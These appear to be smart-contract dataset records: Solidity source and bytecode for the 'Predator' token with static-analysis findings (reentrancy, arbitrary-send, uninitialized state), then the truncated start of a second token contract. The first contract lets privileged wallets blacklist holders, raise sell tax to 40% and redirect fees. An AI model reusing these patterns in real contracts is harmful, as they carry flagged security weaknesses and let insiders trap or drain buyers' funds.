//104 116 116 112 115 58 47 47 116 46 109 101 47 69 116 104 101 114 101 117 109 83 116 101 97 108 116 104 //ASCII // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Predator is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Predator"; string private constant _symbol = "PREDATOR"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; // 0% uint256 private _buytax = 10; // Buy tax 10% uint256 private _teamFee; uint256 private _sellTax = 30; // Launch sell tax 30% for first 24 hours. Then Sell tax down to 10%. uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => bool) private whitelist; mapping(address => uint256) private cooldown; address payable private _MarketTax; address payable private _Dev; address payable private _DevTax; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable markettax, address payable devtax, address payable dev) { _MarketTax = markettax; _Dev = dev; _DevTax = devtax; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_MarketTax] = true; _isExcludedFromFee[_DevTax] = true; _isExcludedFromFee[_Dev] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(from != address(this)){ require(amount <= _maxTxAmount); } if(from != owner() && to != owner()){ _teamFee = _buytax; } require(!bots[from] && !bots[to] && !bots[msg.sender]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { _teamFee = _sellTax; // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function isWhiteListed(address account) public view returns (bool) { return whitelist[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _MarketTax.transfer(amount.div(10).mul(3)); _DevTax.transfer(amount.div(10).mul(7)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; _maxTxAmount = 20000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Dev); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Dev); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualswapcustom(uint256 percentage) external { require(_msgSender() == _Dev); uint256 contractBalance = balanceOf(address(this)); uint256 swapbalance = contractBalance.div(10**5).mul(percentage); swapTokensForEth(swapbalance); } function manualsend() external { require(_msgSender() == _Dev); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Dev); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setSellTax(uint256 selltax) external onlyOwner() { require(selltax >= 0 && selltax <= 40, 'selltax should be in 0 - 40'); _sellTax = selltax; } function _setBuyTax(uint256 buytax) external onlyOwner() { require(buytax >= 0 && buytax <= 10, 'buytax should be in 0 - 10'); _buytax = buytax; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setMarket(address payable account) external { require(_msgSender() == _Dev); _MarketTax = account; } function setDev(address payable account) external { require(_msgSender() == _Dev); _Dev = account; } function setDevpay(address payable account) external { require(_msgSender() == _Dev); _DevTax = account; } function _ZeroSellTax() external { require(_msgSender() == _Dev); _sellTax = 0; } function _ZeroBuyTax() external { require(_msgSender() == _Dev); _buytax = 0; } }
0x6080604052600436106101e75760003560e01c806395d89b4111610102578063d00efb2f11610095578063dd62ed3e11610064578063dd62ed3e146105b4578063e01af92c146105fa578063e47d60601461061a578063e850fe381461065357600080fd5b8063d00efb2f1461053e578063d477f05f14610554578063d543dbeb14610574578063dbe8272c1461059457600080fd5b8063c3c8cd80116100d1578063c3c8cd80146104bb578063c9567bf9146104d0578063cba0e996146104e5578063cf27e7d51461051e57600080fd5b806395d89b411461042a578063a9059cbb1461045b578063b515566a1461047b578063c0e6b46e1461049b57600080fd5b80636dcea85f1161017a578063715018a611610149578063715018a6146103b857806384e1879d146103cd57806389e7b81b146103e25780638da5cb5b1461040257600080fd5b80636dcea85f1461032a5780636f9170f61461034a5780636fc3eaec1461038357806370a082311461039857600080fd5b8063273123b7116101b6578063273123b7146102ac5780632b7581b2146102ce578063313ce567146102ee578063437823ec1461030a57600080fd5b806306fdde03146101f3578063095ea7b31461023657806318160ddd1461026657806323b872dd1461028c57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50604080518082019091526008815267283932b230ba37b960c11b60208201525b60405161022d9190611f1c565b60405180910390f35b34801561024257600080fd5b50610256610251366004611dad565b610668565b604051901515815260200161022d565b34801561027257600080fd5b50683635c9adc5dea000005b60405190815260200161022d565b34801561029857600080fd5b506102566102a7366004611d6d565b61067f565b3480156102b857600080fd5b506102cc6102c7366004611cfd565b6106e8565b005b3480156102da57600080fd5b506102cc6102e9366004611ed7565b61073c565b3480156102fa57600080fd5b506040516009815260200161022d565b34801561031657600080fd5b506102cc610325366004611cfd565b6107bc565b34801561033657600080fd5b506102cc610345366004611cfd565b61080a565b34801561035657600080fd5b50610256610365366004611cfd565b6001600160a01b031660009081526011602052604090205460ff1690565b34801561038f57600080fd5b506102cc61084c565b3480156103a457600080fd5b5061027e6103b3366004611cfd565b610879565b3480156103c457600080fd5b506102cc61089b565b3480156103d957600080fd5b506102cc61090f565b3480156103ee57600080fd5b506102cc6103fd366004611ed7565b610936565b34801561040e57600080fd5b506000546040516001600160a01b03909116815260200161022d565b34801561043657600080fd5b50604080518082019091526008815267282922a220aa27a960c11b6020820152610220565b34801561046757600080fd5b50610256610476366004611dad565b61098c565b34801561048757600080fd5b506102cc610496366004611dd8565b610999565b3480156104a757600080fd5b506102cc6104b6366004611ed7565b610a3d565b3480156104c757600080fd5b506102cc610ad2565b3480156104dc57600080fd5b506102cc610b08565b3480156104f157600080fd5b50610256610500366004611cfd565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561052a57600080fd5b506102cc610539366004611cfd565b610ece565b34801561054a57600080fd5b5061027e60195481565b34801561056057600080fd5b506102cc61056f366004611cfd565b610f10565b34801561058057600080fd5b506102cc61058f366004611ed7565b610f52565b3480156105a057600080fd5b506102cc6105af366004611ed7565b611020565b3480156105c057600080fd5b5061027e6105cf366004611d35565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561060657600080fd5b506102cc610615366004611e9f565b6110a0565b34801561062657600080fd5b50610256610635366004611cfd565b6001600160a01b031660009081526010602052604090205460ff1690565b34801561065f57600080fd5b506102cc6110de565b6000610675338484611105565b5060015b92915050565b600061068c848484611229565b6106de84336106d9856040518060600160405280602881526020016120ed602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611549565b611105565b5060019392505050565b6000546001600160a01b0316331461071b5760405162461bcd60e51b815260040161071290611f6f565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107665760405162461bcd60e51b815260040161071290611f6f565b600a8111156107b75760405162461bcd60e51b815260206004820152601a60248201527f6275797461782073686f756c6420626520696e2030202d2031300000000000006044820152606401610712565b600955565b6000546001600160a01b031633146107e65760405162461bcd60e51b815260040161071290611f6f565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6014546001600160a01b0316336001600160a01b03161461082a57600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b03161461086c57600080fd5b4761087681611583565b50565b6001600160a01b03811660009081526002602052604081205461067990611612565b6000546001600160a01b031633146108c55760405162461bcd60e51b815260040161071290611f6f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6014546001600160a01b0316336001600160a01b03161461092f57600080fd5b6000600b55565b6014546001600160a01b0316336001600160a01b03161461095657600080fd5b600061096130610879565b9050600061097c8361097684620186a0611696565b906116d8565b905061098781611757565b505050565b6000610675338484611229565b6000546001600160a01b031633146109c35760405162461bcd60e51b815260040161071290611f6f565b60005b8151811015610a39576001601060008484815181106109f557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a3181612082565b9150506109c6565b5050565b6014546001600160a01b0316336001600160a01b031614610a5d57600080fd5b60008111610aad5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610712565b610acc612710610ac6683635c9adc5dea00000846116d8565b90611696565b600f5550565b6014546001600160a01b0316336001600160a01b031614610af257600080fd5b6000610afd30610879565b905061087681611757565b6000546001600160a01b03163314610b325760405162461bcd60e51b815260040161071290611f6f565b601754600160a01b900460ff1615610b8c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610712565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610bc93082683635c9adc5dea00000611105565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0257600080fd5b505afa158015610c16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3a9190611d19565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c8257600080fd5b505afa158015610c96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cba9190611d19565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d0257600080fd5b505af1158015610d16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3a9190611d19565b601780546001600160a01b0319166001600160a01b039283161790556016541663f305d7194730610d6a81610879565b600080610d7f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610de257600080fd5b505af1158015610df6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e1b9190611eef565b5050601780546801158e460913d000006018554360195562ff00ff60a01b1981166201000160a01b1790915560165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610e9657600080fd5b505af1158015610eaa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611ebb565b6014546001600160a01b0316336001600160a01b031614610eee57600080fd5b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b031614610f3057600080fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610f7c5760405162461bcd60e51b815260040161071290611f6f565b60008111610fcc5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610712565b610fe56103e8610ac6683635c9adc5dea00000846116d8565b60188190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b0316331461104a5760405162461bcd60e51b815260040161071290611f6f565b602881111561109b5760405162461bcd60e51b815260206004820152601b60248201527f73656c6c7461782073686f756c6420626520696e2030202d20343000000000006044820152606401610712565b600b55565b6014546001600160a01b0316336001600160a01b0316146110c057600080fd5b60178054911515600160b01b0260ff60b01b19909216919091179055565b6014546001600160a01b0316336001600160a01b0316146110fe57600080fd5b6000600955565b6001600160a01b0383166111675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610712565b6001600160a01b0382166111c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610712565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661128d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610712565b6001600160a01b0382166112ef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610712565b600081116113515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610712565b6000546001600160a01b0384811691161480159061137d57506000546001600160a01b03838116911614155b156114ec576001600160a01b03831630146113a1576018548111156113a157600080fd5b6000546001600160a01b038481169116148015906113cd57506000546001600160a01b03838116911614155b156113d957600954600a555b6001600160a01b03831660009081526010602052604090205460ff1615801561141b57506001600160a01b03821660009081526010602052604090205460ff16155b801561143757503360009081526010602052604090205460ff16155b61144057600080fd5b600061144b30610879565b9050600f54811061145b5750600f545b600e546017549082101590600160a81b900460ff161580156114865750601754600160b01b900460ff165b801561148f5750805b80156114a957506017546001600160a01b03868116911614155b80156114c357506016546001600160a01b03868116911614155b156114e957600b54600a556114d782611757565b4780156114e7576114e747611583565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061152e57506001600160a01b03831660009081526005602052604090205460ff165b15611537575060005b611543848484846118fc565b50505050565b6000818484111561156d5760405162461bcd60e51b81526004016107129190611f1c565b50600061157a848661206b565b95945050505050565b6013546001600160a01b03166108fc6115a2600361097685600a611696565b6040518115909202916000818181858888f193505050501580156115ca573d6000803e3d6000fd5b506015546001600160a01b03166108fc6115ea600761097685600a611696565b6040518115909202916000818181858888f19350505050158015610a39573d6000803e3d6000fd5b60006006548211156116795760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610712565b600061168361192a565b905061168f8382611696565b9392505050565b600061168f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061194d565b6000826116e757506000610679565b60006116f3838561204c565b905082611700858361202c565b1461168f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610712565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117ad57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561180157600080fd5b505afa158015611815573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118399190611d19565b8160018151811061185a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526016546118809130911684611105565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906118b9908590600090869030904290600401611fa4565b600060405180830381600087803b1580156118d357600080fd5b505af11580156118e7573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b806119095761190961197b565b6119148484846119a9565b8061154357611543600c54600855600d54600a55565b6000806000611937611aa0565b90925090506119468282611696565b9250505090565b6000818361196e5760405162461bcd60e51b81526004016107129190611f1c565b50600061157a848661202c565b60085415801561198b5750600a54155b1561199257565b60088054600c55600a8054600d5560009182905555565b6000806000806000806119bb87611ae2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119ed9087611b3f565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a1c9086611b81565b6001600160a01b038916600090815260026020526040902055611a3e81611be0565b611a488483611c2a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611abc8282611696565b821015611ad957505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611aff8a600854600a54611c4e565b9250925092506000611b0f61192a565b90506000806000611b228e878787611c9d565b919e509c509a509598509396509194505050505091939550919395565b600061168f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611549565b600080611b8e8385612014565b90508381101561168f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610712565b6000611bea61192a565b90506000611bf883836116d8565b30600090815260026020526040902054909150611c159082611b81565b30600090815260026020526040902055505050565b600654611c379083611b3f565b600655600754611c479082611b81565b6007555050565b6000808080611c626064610ac689896116d8565b90506000611c756064610ac68a896116d8565b90506000611c8d82611c878b86611b3f565b90611b3f565b9992985090965090945050505050565b6000808080611cac88866116d8565b90506000611cba88876116d8565b90506000611cc888886116d8565b90506000611cda82611c878686611b3f565b939b939a50919850919650505050505050565b8035611cf8816120c9565b919050565b600060208284031215611d0e578081fd5b813561168f816120c9565b600060208284031215611d2a578081fd5b815161168f816120c9565b60008060408385031215611d47578081fd5b8235611d52816120c9565b91506020830135611d62816120c9565b809150509250929050565b600080600060608486031215611d81578081fd5b8335611d8c816120c9565b92506020840135611d9c816120c9565b929592945050506040919091013590565b60008060408385031215611dbf578182fd5b8235611dca816120c9565b946020939093013593505050565b60006020808385031215611dea578182fd5b823567ffffffffffffffff80821115611e01578384fd5b818501915085601f830112611e14578384fd5b813581811115611e2657611e266120b3565b8060051b604051601f19603f83011681018181108582111715611e4b57611e4b6120b3565b604052828152858101935084860182860187018a1015611e69578788fd5b8795505b83861015611e9257611e7e81611ced565b855260019590950194938601938601611e6d565b5098975050505050505050565b600060208284031215611eb0578081fd5b813561168f816120de565b600060208284031215611ecc578081fd5b815161168f816120de565b600060208284031215611ee8578081fd5b5035919050565b600080600060608486031215611f03578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611f4857858101830151858201604001528201611f2c565b81811115611f595783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ff35784516001600160a01b031683529383019391830191600101611fce565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120275761202761209d565b500190565b60008261204757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156120665761206661209d565b500290565b60008282101561207d5761207d61209d565b500390565b60006000198214156120965761209661209d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087657600080fd5b801515811461087657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203524c5bb3b8da22b236fa2dd675d4dedb7a9b7e4eab0e75e77e86213f129be2e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,643
0x26af26f08dd044229afe93bdc439d155e1f8e9e7
/** *Submitted for verification at Etherscan.io on 2022-04-27 */ /* Geass is a supernatural ability which certain people can bestow upon others. This power is usually called the Power of Kings. According to an English edition of "Newtype", the power of Geass has something to do with the very existence of humankind, and it may be used to destroy, control, or transform just about anything. The power of Geass increases with use, and should the user lack the willpower, they may be consumed by it. Lelouch states that the Geass is a form of wish. However, people who have Geass are not immune to the Geass effects of others. The Geass is represented by a glowing, bird-shaped symbol. https://codegeassinu.club/ https://t.me/codegeassinu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function 